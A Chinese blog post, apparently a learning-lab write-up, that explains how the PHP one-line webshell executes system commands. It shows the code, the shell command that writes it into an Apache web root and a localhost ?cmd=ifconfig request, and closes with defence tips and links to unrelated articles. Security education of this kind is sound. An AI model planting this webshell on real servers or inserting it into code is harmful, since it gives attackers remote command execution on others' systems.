news 2026/6/9 21:00:03

利用PHP一句话木马实现远程控制

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
利用PHP一句话木马实现远程控制

1.实验背景

在网络攻防中,“远程控制”是攻击者获取权限后的重要阶段WebShell(网页后门)实现这一目标的常见手段之一。本次实验旨在通过最基础的PHP代码,理解“一句话木马”的工作原理,并演示如何通过Web请求在目标服务器上执行系统命令。

2. 实验环境

  • 网络:Kali Linux(既作为攻击机,也作为受害Web服务器)

  • Web服务:Apache HTTP服务器

  • 工具:Firefox浏览器、终端终端

3.原理分析

本次实验的核心是一个非常简短的 PHP 脚本,被称为“一句话木马”:

<?php system($_REQUEST['cmd']);?>
  • system()函数:这是PHP的内置函数,用于执行外部程序(系统命令),把执行结果直接输出到浏览器。

  • $_REQUEST['cmd']:这是一个PHP超全局变量,用于收集通过URL(GET请求)或表单(POST请求)提交的数据。在这里,它负责接收攻击者传递的cmd参数。

    攻击逻辑: 攻击者访问 URL -> 提交cmd=ifconfig-> PHP 脚本接收参数 ->system在服务器执行函数ifconfig-> 结果回显给攻击者 ->实现远程控制 。

4.实验步骤

第一步:启动Web服务

由于Kali默认关闭Web服务,首先需要开启Apache:

sudo service apache2 start

(注:上图第二个指令是验证服务是否开启的方法,如果看到绿色的active (running)字样,说明服务已经启动成功。)

第二步:配置木马文件

Web服务器的默认根目录位于/var/www/html/。我们需要在该目录下创建一个名为shell.php的文件。(注意:必须放在这个目录下,否则Web服务无法解析)

# 这里使用命令行直接写入,也可以用编辑器编写 sudo sh -c 'echo "<?php system(\$_REQUEST[\"cmd\"]); ?>" > /var/www/html/shell.php'
第三步:构造Payload进行攻击

打开浏览器,构造特定的URL对本地服务器发起“攻击”。

  • 目标网址http://127.0.0.1/shell.php

  • Payload?cmd=ifconfig(Linux下查看网络配置的命令)

5. 踩坑与排错记录(故障排除)

在实验过程中,我遇到了以下两个典型的报错:

问题1:无法连接

  • 现象:浏览器提示无法连接。

  • 原因:我习惯性地在地址栏输入了https://。但本地Apache默认只开启了80端口(HTTP),未配置SSL证书。

  • 解决:将协议改为http://

问题2:404未找到

  • 现象:连接成功,但提示找不到文件。

  • 原因:我将shell.php直接写在桌面(Desktop)。Web服务器无权访问桌面,它只能读取/var/www/html/下的文件。

  • 解决:使用mv命令将文件移动到正确目录:

    sudo mv ~/Desktop/shell.php /var/www/html/

6. 实验结果

再次修改上述问题后,访问http://127.0.0.1/shell.php?cmd=ifconfig,页面成功显示了服务器的网卡信息(eth0, lo等)。

(注:上图展示了利用漏洞成功获取服务器IP配置信息的过程,证明远程命令执行成功)

7.总结与安全警示

通过这个简单的实验,我深刻理解了Web应用漏洞的简单。只要有一行代码,如果没有被防火墙拦截或查杀,就可以让攻击者“反客为主”,轻松执行系统命令。

  • 防御建议:在开发中应严格过滤用户输入,取消配置systemexec等敏感函数,以及文件上传目录的执行权限。

  • 声明本文仅作网络安全学习记录,禁止用于非法用途。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 2:03:10

移动应用测试中的Monkey随机测试:原理、实践与优化策略‌

在移动互联网高速发展的今天&#xff0c;移动端应用已成为人们日常生活和商业活动的核心载体。然而&#xff0c;随着应用复杂度的提升&#xff0c;传统的测试方法往往难以覆盖所有边界场景&#xff0c;尤其是用户交互的随机性和不可预测性。Monkey随机测试作为一种高效的自动化…

作者头像 李华
网站建设 2026/6/9 1:00:46

白帽子黑客挣钱攻略,别说兄弟发财不带你!

白帽子黑客挣钱攻略&#xff0c;别说兄弟发财不带你&#xff01; 对于白帽子黑客&#xff0c;很多人的理解应该只停留在概念表层&#xff0c;今天成哥在这里整理了一些具体到工作和挣钱路径的内容&#xff0c;供大家参考哦。 1.挖掘漏洞挣奖金 通用程序漏洞&#xff0c;顾名思…

作者头像 李华
网站建设 2026/6/9 20:58:33

当金融大脑植入社交躯体:下一代DApp网站如何成为自进化的数字王国

当金融大脑植入社交躯体&#xff1a;下一代DApp网站如何成为自进化的数字王国 深夜&#xff0c;你开发的DApp网站日活持续下滑&#xff0c;智能合约锁仓量停滞不前。后台数据显示&#xff0c;80%的用户在连接钱包后的第三屏悄然离开——这不是产品问题&#xff0c;这是架构级困…

作者头像 李华
网站建设 2026/6/9 0:57:30

33、U-Boot使用指南:环境变量、脚本与镜像操作

U-Boot使用指南:环境变量、脚本与镜像操作 1. U-Boot环境变量的使用 U-Boot启动并运行后,可通过设置适当的环境变量进行配置,这与Unix shell(如bash)中环境变量的使用非常相似。使用 printenv 命令可查看目标设备上环境变量的当前值。以下是OpenMoko GTA01开发硬件上部…

作者头像 李华
网站建设 2026/6/9 1:44:51

45、实时系统中的线程调度、软中断及优先级继承机制解析

实时系统中的线程调度、软中断及优先级继承机制解析 1. 线程调度与 CPU 亲和性 在多处理器系统中,操作系统调度器会尝试让线程在其启动的 CPU 上运行,以避免代价高昂的缓存刷新,这种特性被称为 CPU 亲和性。对于中断请求(IRQ)线程,其 CPU 亲和性由中断本身的 CPU 亲和性…

作者头像 李华
网站建设 2026/6/8 12:48:31

48、嵌入式系统开发技术全面解析

嵌入式系统开发技术全面解析 1. 符号与基础概念 在嵌入式系统开发中,一些符号有着特定的含义和用途。例如,分号 ; 在某些场景下有特定的作用,在文档中提及它出现在第 290 处;斜杠 \ 分别在 128、199、207 处有相关应用。16 - bit Linux 有其独特的特点,在开发中占据第…

作者头像 李华